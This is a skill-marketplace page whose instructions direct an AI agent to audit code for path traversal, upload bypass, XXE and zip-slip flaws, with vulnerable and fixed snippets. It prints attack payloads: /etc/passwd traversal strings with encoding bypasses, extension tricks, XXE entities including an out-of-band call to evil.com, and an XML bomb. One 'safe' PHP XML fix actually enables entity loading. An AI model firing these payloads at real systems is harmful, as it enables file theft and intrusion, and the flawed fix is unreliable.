Perseus File logo

Perseus File

Community
kaivyy
perseus-file

File security analysis (path traversal, upload bypass, XXE, zip slip)

Overview

Publisherkaivyy
Repositoryperseus
Skill nameperseus-file
Stars
68
Forks
14
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by kaivyy on GitHub. Read the source before you install it.

Installation

Install the Perseus File AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/kaivyy/perseus.git /tmp/perseus
mkdir -p .claude/skills
cp -r /tmp/perseus/skills/perseus/specialists/file-security .claude/skills/perseus-file
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Perseus File in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Perseus File on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Perseus File is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Perseus File Security Specialist

Context & Authorization

IMPORTANT: This skill performs file security analysis on the user's own codebase. This is defensive security testing to find file handling vulnerabilities.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.


Multi-Language Support

LanguageFile Libraries
JavaScript/TypeScriptfs, multer, formidable, busboy, path
Goos, io, path/filepath, archive/zip
PHPmove_uploaded_file, file_get_contents, ZipArchive
Pythonos, pathlib, shutil, zipfile, tarfile
Ruststd::fs, std::path, zip, tar
Javajava.io, java.nio, java.util.zip
RubyFile, FileUtils, Zip
C#System.IO, System.IO.Compression

Overview

This specialist skill performs comprehensive file security analysis including path traversal, file upload vulnerabilities, XML external entities (XXE), and archive extraction attacks.

When to Use: After /scan identifies file upload endpoints, file operations, or XML processing.

Goal: Find all file-related vulnerabilities that could lead to arbitrary file read/write or code execution.

Engagement Mode Compatibility

ModeSpecialist Behavior
PRODUCTION_SAFEStatic flow analysis and minimal non-disruptive validation
STAGING_ACTIVEControlled upload/path validation with throttling
LAB_FULLExpanded dynamic verification of file attack paths
LAB_RED_TEAMChain simulation against isolated storage and synthetic files only

Safety Gates (Required)

  1. Read deliverables/engagement_profile.md before active file-path/upload tests.
  2. Default to PRODUCTION_SAFE if mode is absent.
  3. Enforce kill-switch thresholds and stop on instability.
  4. Never overwrite, delete, or alter real production data during verification.

File Security Risks Covered

RiskDescriptionImpact
Path TraversalAccessing files outside intended directoryData theft, config exposure
File Upload BypassUploading malicious filesCode execution
XXEXML external entity injectionSSRF, file read, DoS
Zip SlipArchive extraction path traversalArbitrary file write
Symlink AttacksFollowing symbolic linksFile access bypass
SSRF via FileFile:// protocol abuseInternal network access

Execution Instructions

Step 0: Mode & Scope Alignment

  • Load mode/scope/limits from deliverables/engagement_profile.md.
  • Respect deliverables/verification_scope.md when present.
  • In production mode, prefer code-level evidence and minimal safe probes.

Phase 1: Path Traversal Analysis (4 Parallel Agents)

  1. Path Traversal Read Analyst:

    • "Find file read operations with user input in path."

    Language-Specific Patterns:

    javascript
    // Node.js - VULNERABLE
    const filePath = req.query.file;
    fs.readFile(filePath, callback);
    fs.readFileSync(`./uploads/${filename}`);  // filename = "../../../etc/passwd"
    
    // Node.js - SAFE
    const safePath = path.join(__dirname, 'uploads', path.basename(filename));
    if (!safePath.startsWith(path.join(__dirname, 'uploads'))) {
      throw new Error('Invalid path');
    }
    go
    // Go - VULNERABLE
    filename := r.URL.Query().Get("file")
    data, _ := os.ReadFile(filename)
    
    // Go - SAFE
    filename := filepath.Base(r.URL.Query().Get("file"))
    safePath := filepath.Join(uploadDir, filename)
    if !strings.HasPrefix(safePath, uploadDir) {
        return errors.New("invalid path")
    }
    python
    # Python - VULNERABLE
    filename = request.args.get('file')
    with open(f"uploads/{filename}") as f:
        return f.read()
    
    # Python - SAFE
    from pathlib import Path
    base = Path("uploads").resolve()
    requested = (base / filename).resolve()
    if not str(requested).startswith(str(base)):
        raise ValueError("Invalid path")
    php
    // PHP - VULNERABLE
    $file = $_GET['file'];
    readfile("uploads/" . $file);
    
    // PHP - SAFE
    $file = basename($_GET['file']);
    $path = realpath("uploads/" . $file);
    if (strpos($path, realpath("uploads/")) !== 0) {
        die("Invalid path");
    }
    rust
    // Rust - VULNERABLE
    let path = format!("uploads/{}", user_input);
    std::fs::read_to_string(&path)?;
    
    // Rust - SAFE
    let base = std::path::Path::new("uploads").canonicalize()?;
    let requested = base.join(&user_input).canonicalize()?;
    if !requested.starts_with(&base) {
        return Err("Invalid path");
    }
    java
    // Java - VULNERABLE
    String filename = request.getParameter("file");
    Files.readAllBytes(Paths.get("uploads", filename));
    
    // Java - SAFE
    Path base = Paths.get("uploads").toAbsolutePath().normalize();
    Path requested = base.resolve(filename).normalize();
    if (!requested.startsWith(base)) {
        throw new SecurityException("Invalid path");
    }
  2. Path Traversal Write Analyst:

    • "Find file write operations with user input in path."

    Patterns:

    javascript
    // VULNERABLE - Write to user-controlled path
    fs.writeFileSync(`./data/${req.body.filename}`, content);
    // Attack: filename = "../../../.bashrc"
  3. Path Traversal Delete Analyst:

    • "Find file delete operations with user input."

    Patterns:

    javascript
    // VULNERABLE
    fs.unlinkSync(`./uploads/${req.params.file}`);
    // Attack: file = "../../../important.db"
  4. Path Normalization Analyst:

    • "Check for path normalization bypasses."

    Bypass Patterns:

    ../../../etc/passwd
    ..%2f..%2f..%2fetc/passwd
    ..%252f..%252f..%252fetc/passwd (double encoding)
    ....//....//....//etc/passwd
    ..\/..\/..\/etc/passwd (Windows)
    ..%5c..%5c..%5cetc/passwd (Windows encoded)

Phase 2: File Upload Analysis (5 Parallel Agents)

  1. Extension Validation Analyst:

    • "Check file extension validation."

    Bypass Patterns:

    BypassDescription
    file.php.jpgDouble extension
    file.pHpCase variation
    file.php%00.jpgNull byte (old)
    file.php;.jpgSemicolon (IIS)
    file.php::$DATANTFS stream
    file.jpg.phpExtension order

    Vulnerable Code:

    javascript
    // VULNERABLE - Blacklist
    if (!filename.endsWith('.exe')) {
      // .php, .jsp, .aspx not blocked!
    }
    
    // VULNERABLE - Only checks first extension
    const ext = path.extname(filename);  // Returns .jpg for file.php.jpg
    
    // SAFE - Whitelist + full check
    const allowedExtensions = ['.jpg', '.png', '.gif'];
    const ext = path.extname(filename).toLowerCase();
    if (!allowedExtensions.includes(ext)) {
      throw new Error('Invalid extension');
    }
  2. MIME Type Validation Analyst:

    • "Check content type validation."

    Bypass Patterns:

    • Modifying Content-Type header
    • Polyglot files (valid image + PHP)
    • Magic byte manipulation

    Vulnerable Code:

    javascript
    // VULNERABLE - Trust Content-Type header
    if (req.file.mimetype.startsWith('image/')) {
      // Attacker sets: Content-Type: image/png
    }
    
    // SAFE - Check actual file content (magic bytes)
    const FileType = require('file-type');
    const type = await FileType.fromBuffer(buffer);
    if (!type || !['image/jpeg', 'image/png'].includes(type.mime)) {
      throw new Error('Invalid file type');
    }
  3. Upload Location Analyst:

    • "Check where files are stored and if executable."

    Issues:

    • Uploading to web root
    • Uploading to directory with execute permissions
    • Predictable filenames
    • No access control on uploaded files
  4. File Size Analyst:

    • "Check file size limits."

    Issues:

    • No size limit (DoS)
    • Client-side only limit
    • Size checked after full upload
  5. Filename Sanitization Analyst:

    • "Check filename handling."

    Issues:

    javascript
    // VULNERABLE - Using original filename
    const dest = `uploads/${req.file.originalname}`;
    
    // SAFE - Generate random filename
    const dest = `uploads/${crypto.randomUUID()}${ext}`;

Phase 3: XXE Analysis (3 Parallel Agents)

  1. XML Parser Configuration Analyst:

    • "Find XML parsing with unsafe configuration."

    Language-Specific Patterns:

    javascript
    // Node.js/libxmljs - VULNERABLE
    libxmljs.parseXml(xml, { noent: true });
    
    // Node.js - SAFE
    libxmljs.parseXml(xml, { noent: false, nonet: true });
    python
    # Python/lxml - VULNERABLE
    etree.parse(source)
    etree.fromstring(xml_string)
    
    # Python - SAFE
    parser = etree.XMLParser(resolve_entities=False, no_network=True)
    etree.parse(source, parser)
    java
    // Java - VULNERABLE
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    db.parse(inputStream);
    
    // Java - SAFE
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    php
    // PHP - VULNERABLE
    $doc = new DOMDocument();
    $doc->loadXML($xml);
    
    // PHP - SAFE
    libxml_disable_entity_loader(true);  // PHP < 8.0
    $doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
    go
    // Go - xml.Decoder is safe by default (no entity expansion)
    // But check for custom entity handling
  2. XXE Payload Analyst:

    • "Check for XXE attack vectors."

    Payloads:

    xml
    <!-- File Read -->
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <data>&xxe;</data>
    
    <!-- SSRF -->
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/">]>
    
    <!-- Blind XXE (OOB) -->
    <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]>
  3. XML Bomb Analyst:

    • "Check for billion laughs / XML bomb protection."

    Attack:

    xml
    <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
      <!-- ... exponential expansion ... -->
    ]>
    <data>&lol9;</data>

Phase 4: Archive Extraction Analysis (3 Parallel Agents)

  1. Zip Slip Analyst:

    • "Find archive extraction with path traversal."

    Language-Specific Patterns:

    javascript
    // Node.js/adm-zip - VULNERABLE
    zip.extractAllTo(destPath, true);
    // Entry: ../../malicious.js
    
    // Node.js - SAFE
    for (const entry of zip.getEntries()) {
      const destPath = path.join(dest, entry.entryName);
      if (!destPath.startsWith(path.resolve(dest))) {
        throw new Error('Zip slip detected');
      }
    }
    python
    # Python - VULNERABLE
    import zipfile
    with zipfile.ZipFile(file) as z:
        z.extractall(dest)  # No path check!
    
    # Python - SAFE
    for name in z.namelist():
        dest_path = os.path.join(dest, name)
        if not os.path.abspath(dest_path).startswith(os.path.abspath(dest)):
            raise ValueError("Zip slip detected")
    go
    // Go - VULNERABLE
    for _, f := range r.File {
        destPath := filepath.Join(dest, f.Name)
        // No validation!
    }
    
    // Go - SAFE
    destPath := filepath.Join(dest, f.Name)
    if !strings.HasPrefix(destPath, filepath.Clean(dest)+string(os.PathSeparator)) {
        return errors.New("zip slip detected")
    }
    java
    // Java - VULNERABLE
    ZipEntry entry = zis.getNextEntry();
    File file = new File(destDir, entry.getName());
    
    // Java - SAFE
    File destFile = new File(destDir, entry.getName());
    String destPath = destFile.getCanonicalPath();
    if (!destPath.startsWith(destDir.getCanonicalPath())) {
        throw new SecurityException("Zip slip detected");
    }
  2. Tar Extraction Analyst:

    • "Check tar extraction for similar issues."

    Issues:

    • Path traversal in tar entries
    • Symlink attacks in tar
    • Device files in tar (Unix)
  3. Symlink Attack Analyst:

    • "Check for symlink following in archive extraction."

    Attack:

    tar contains:
    1. symlink: uploads -> /etc
    2. file: uploads/passwd (overwritten!)

Phase 5: File Protocol SSRF (2 Parallel Agents)

  1. File URL Analyst:

    • "Check for file:// protocol in URL handlers."

    Patterns:

    javascript
    // VULNERABLE - Accepts file://
    const response = await fetch(userUrl);
    // Attack: file:///etc/passwd
    
    // SAFE - Protocol validation
    const url = new URL(userUrl);
    if (!['http:', 'https:'].includes(url.protocol)) {
      throw new Error('Invalid protocol');
    }
  2. Local File Inclusion Analyst:

    • "Check for local file inclusion via various methods."

Safe Payload Reference

AttackSafe Test PayloadVerification
Path Traversal../../../etc/passwdFile contents returned
XXESee XXE payloads aboveEntity expanded
Zip SlipArchive with ../../test.txtFile written outside dest
Upload Bypassfile.php.jpgExecuted as PHP

Output Requirements

Create deliverables/file_security_analysis.md:

markdown
# File Security Analysis

## Summary
| Category | Instances Found | Vulnerable | Safe |
|----------|-----------------|------------|------|
| Path Traversal | X | Y | Z |
| File Upload | X | Y | Z |
| XXE | X | Y | Z |
| Zip Slip | X | Y | Z |
| SSRF (file://) | X | Y | Z |

## Language/Framework Detected
- Primary: [e.g., Node.js/Express, Go, Python/FastAPI]
- File Libraries: [e.g., multer, formidable]

## Critical Findings

### [FILE-001] Path Traversal in File Download
**Severity:** Critical
**Language:** Node.js
**Location:** `routes/files.js:34`

**Vulnerable Code:**
```javascript
app.get('/download', (req, res) => {
  const file = req.query.file;
  res.sendFile(`./uploads/${file}`);
});

Attack:

GET /download?file=../../../etc/passwd

Remediation:

javascript
const safeName = path.basename(req.query.file);
const safePath = path.join(__dirname, 'uploads', safeName);
if (!safePath.startsWith(path.join(__dirname, 'uploads'))) {
  return res.status(400).send('Invalid path');
}
res.sendFile(safePath);

[FILE-002] Unrestricted File Upload

Severity: Critical Location: controllers/upload.js:12


[FILE-003] XXE in XML Parser

Severity: High Language: Python Location: utils/xml_parser.py:8


File Upload Security Checklist

CheckStatusIssue
Extension WhitelistFAILBlacklist used
Content Type ValidationFAILTrusts header
Magic Byte CheckFAILNot implemented
Size LimitPASS10MB limit
Filename SanitizationFAILUses original name
Storage LocationWARNIn web root

Path Handling Audit

OperationInput ValidatedPath NormalizedSafe
readFileNoNoVULNERABLE
writeFileNoNoVULNERABLE
unlinkYesYesOK

Recommendations

  1. Use path.basename() or equivalent for all user-provided filenames
  2. Validate resolved paths are within expected directory
  3. Implement file type validation using magic bytes
  4. Store uploads outside web root
  5. Disable XML external entity processing
  6. Validate archive entries before extraction

**Next Step:** File vulnerabilities should be verified with actual payload testing.

Frequently asked questions

What does the Perseus File AI skill do?

File security analysis (path traversal, upload bypass, XXE, zip slip)

Why use Perseus File on TypingMind?

Because you install it once and use it with any model. Perseus File is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Perseus File in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/kaivyy/perseus/tree/main/skills/perseus/specialists/file-security. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Perseus File?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Perseus File?

As many as you like. As long as a model supports skills, you can use Perseus File with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Perseus File AI skill free?

Yes. It is published on GitHub by kaivyy under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇